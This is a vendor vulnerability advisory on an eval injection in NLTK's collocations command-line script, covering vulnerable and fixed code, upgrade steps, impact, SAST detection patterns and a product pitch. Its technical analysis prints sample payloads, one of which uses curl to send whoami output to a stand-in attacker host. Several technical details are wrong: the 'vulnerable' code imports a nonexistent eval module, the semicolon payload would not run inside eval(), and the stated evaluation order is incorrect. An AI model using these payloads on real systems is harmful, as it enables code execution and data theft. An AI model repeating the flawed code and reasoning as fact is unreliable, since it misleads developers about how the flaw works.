NLTK CLI Eval Injection
CVE-2025-71408 is a high-severity eval injection in NLTK's collocations module allowing arbitrary Python code execution via CLI arguments.
Overview
CVE-2025-71408 is an eval injection vulnerability in the nltk.collocations module of the Natural Language Toolkit (NLTK), one of the most widely used Python libraries for natural language processing. The flaw exists in the __main__ execution block of collocations.py, where user-supplied command-line arguments are passed without sanitization directly into Python’s built-in eval() function. An attacker who can control the arguments passed to this script — whether through a shell wrapper, a pipeline orchestration system, or any other mechanism that surfaces CLI control — can inject arbitrary Python expressions and achieve full code execution in the context of the running process.
The vulnerability affects all versions of NLTK prior to 3.9.3, which was released with a targeted patch removing the unsafe eval() call. Given NLTK’s prevalence in data science pipelines, NLP research tooling, and production ML infrastructure, the exposure surface is broader than it may initially appear. Any automated workflow that invokes python -m nltk.collocations or executes collocations.py directly with externally influenced arguments is potentially vulnerable.
This issue was identified and disclosed by security researchers and is tracked under CVSS 7.8 (High), reflecting local or network-adjacent code execution with no authentication requirement beyond the ability to influence CLI arguments — a realistic threat model in multi-tenant compute environments, CI/CD pipelines, and data processing jobs that accept user-defined NLP parameters.
Technical Analysis
The root cause is straightforward but consequential: the __main__ block in nltk/collocations.py constructs a scoring function name by appending a user-supplied string suffix directly to the string "BigramAssocMeasures.", then passes the concatenated result to eval().
# VULNERABLE code pattern (pre-3.9.3)
import sys
import eval # built-in
from nltk.collocations import BigramAssocMeasures, BigramCollocationFinder
if __name__ == '__main__':
# sys.argv[1] is expected to be something like "pmi" or "likelihood_ratio"
# so the intent is to resolve BigramAssocMeasures.pmi, etc.
score_fn_name = sys.argv[1] if len(sys.argv) > 1 else 'pmi'
# Dangerous: user input concatenated into eval() without any validation
score_fn = eval("BigramAssocMeasures." + score_fn_name)
# ... remainder of collocation finding logic
The intent is clearly to allow the caller to select a scoring metric by name — pmi, likelihood_ratio, chi_sq, and so on — which are valid attributes of the BigramAssocMeasures class. However, because the input is fed to eval() rather than resolved through getattr(), there is no boundary enforcing that the input remains a simple attribute name.
An attacker can trivially escape the intended attribute lookup by supplying a suffix that terminates the expression and injects arbitrary Python. For example:
# Attacker-controlled argument that executes an OS command
python -m nltk.collocations "pmi; import os; os.system('id')"
# Or more directly via expression chaining
python collocations.py "__import__('os').system('curl http://attacker.com/exfil?data=$(whoami)')"
When eval() processes "BigramAssocMeasures." + "__import__('os').system('id')", Python evaluates the full expression in the current interpreter context. The BigramAssocMeasures. prefix becomes an attempted attribute access on the result of whatever the injected expression returns — but the injected code executes regardless, because Python evaluates left-to-right and the side effects fire before any AttributeError is raised.
This is a textbook instance of CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code, a.k.a. Eval Injection). The vulnerable pattern — using eval() as a dynamic dispatch mechanism for string-based attribute lookup — is an anti-pattern that consistently produces exploitable injection primitives. The correct tool for this job is getattr(), which resolves a named attribute on an object without evaluating arbitrary code.
Impact
An attacker who can supply or influence the command-line arguments to NLTK’s collocations.py can execute arbitrary Python code with the privileges of the invoking process. In practice, this means:
- Arbitrary OS command execution via
os.system(),subprocess, oros.popen(), enabling data exfiltration, reverse shell establishment, or lateral movement within a network. - Full interpreter access, including the ability to import any installed Python module, read and write files, modify environment variables, or load and execute downloaded payloads.
- Credential and secret theft in environments where API keys, database credentials, or cloud provider tokens are present as environment variables or on-disk configuration files — common in data science and ML pipeline contexts.
- Supply chain pivot in automated NLP pipelines where NLTK is invoked as part of a larger workflow, potentially compromising downstream systems or data stores.
The CVSS 7.8 score reflects a local attack vector (AV:L), no privileges required (PR:N in pipeline contexts), no user interaction needed (UI:N), and high impact across confidentiality, integrity, and availability (C:H/I:H/A:H). In cloud-based or containerized NLP workflows where the corpus or processing parameters are user-supplied, the effective attack vector can be elevated to network-adjacent or remote.
How to Fix It
Upgrade immediately to NLTK 3.9.3 or later. The patch replaces the unsafe eval() call with getattr(), which performs only named attribute lookup on the specified object and does not evaluate arbitrary expressions.
# pip
pip install --upgrade nltk
# conda
conda update nltk
# Poetry
poetry add "nltk>=3.9.3"
# pipenv
pipenv install "nltk>=3.9.3"
The corrected pattern in application code follows this structure:
# FIXED: use getattr() with explicit allowlist validation
import sys
from nltk.collocations import BigramAssocMeasures, BigramCollocationFinder
ALLOWED_MEASURES = frozenset([
'pmi', 'likelihood_ratio', 'chi_sq', 'student_t',
'raw_freq', 'jaccard', 'dice', 'poisson_stirling'
])
if __name__ == '__main__':
score_fn_name = sys.argv[1] if len(sys.argv) > 1 else 'pmi'
# Validate against allowlist before attribute resolution
if score_fn_name not in ALLOWED_MEASURES:
print(f"Unknown scoring measure: {score_fn_name!r}", file=sys.stderr)
sys.exit(1)
# Safe: getattr() resolves the attribute without evaluating code
score_fn = getattr(BigramAssocMeasures, score_fn_name)
# ... remainder of collocation finding logic
Defense-in-depth recommendations:
- Never use
eval()for dynamic attribute or function dispatch.getattr()is always the correct mechanism when the goal is selecting an attribute by name. - Apply an explicit allowlist to any user-controlled string before using it in any reflective operation, even with
getattr(), to prevent unexpected attribute exposure. - Run NLP pipelines with minimum necessary OS privileges. Container-level or OS-level sandboxing limits blast radius if injection occurs.
Our Take
Eval injection via eval() misuse is one of those vulnerability classes that security practitioners have been warning about for decades, yet it continues to appear in widely deployed libraries — often precisely because the original developer was solving a convenience problem rather than a security problem. Using eval() to resolve a config-driven or CLI-driven function name feels expedient when you’re building a tool: it avoids a lookup table, it handles any future attribute automatically, and it works. The problem is that it works for attackers too.
What makes this instance particularly instructive for enterprises is the context: NLTK is not a web application framework where injection risks are front-of-mind. It’s a research and data-processing library, and the vulnerable code path lives in a __main__ block intended for command-line use. This is exactly the kind of low-visibility attack surface that DAST tools miss (because there’s no HTTP endpoint to fuzz) and that developers don’t scrutinize carefully during code review. ML and data science pipelines that invoke NLP tools as subprocesses with user-controlled parameters are a growing and underaudited attack surface.
For SAST programs, this finding reinforces the importance of taint tracking that follows data from sys.argv through string concatenation and into dangerous sinks — not just obvious web input vectors. The vulnerability class is identical in structure to server-side template injection or SQL injection: untrusted data reaches an interpreter without sanitization.
Detection with SAST
This vulnerability class falls under CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code. Offensive360’s SAST engine detects this pattern through interprocedural taint analysis that identifies the following conditions in combination:
- Source: Data originating from
sys.argv,os.environ, file reads, or network input. - Propagation: The tainted value flows through string concatenation, formatting operations (
%,.format(), f-strings), or direct assignment. - Sink: The tainted or taint-influenced string reaches
eval(),exec(),compile(), or__import__()as a non-literal argument.
Specific code patterns flagged by our rule engine include:
# Pattern 1: Direct argv-to-eval
eval(sys.argv[n])
# Pattern 2: Concatenation into eval (as seen in this CVE)
eval("SomeClass." + user_input)
# Pattern 3: Format string into eval
eval(f"module.{user_supplied_method}()")
# Pattern 4: exec with tainted string
exec("result = handler." + config_value + "(data)")
These patterns are flagged regardless of depth in the call graph, because tainted data frequently passes through helper functions before reaching the sink. The rule category in our engine is EVAL_INJECTION and maps to OWASP A03:2021 (Injection). Any result with a tainted source reachable to an eval()/exec() sink is reported at High severity by default, consistent with the CVSS scoring on this CVE.
References
Detect this vulnerability class in your codebase
Offensive360 SAST scans your source code for CVE-2025-71408-class vulnerabilities and thousands of other patterns — across 60+ languages.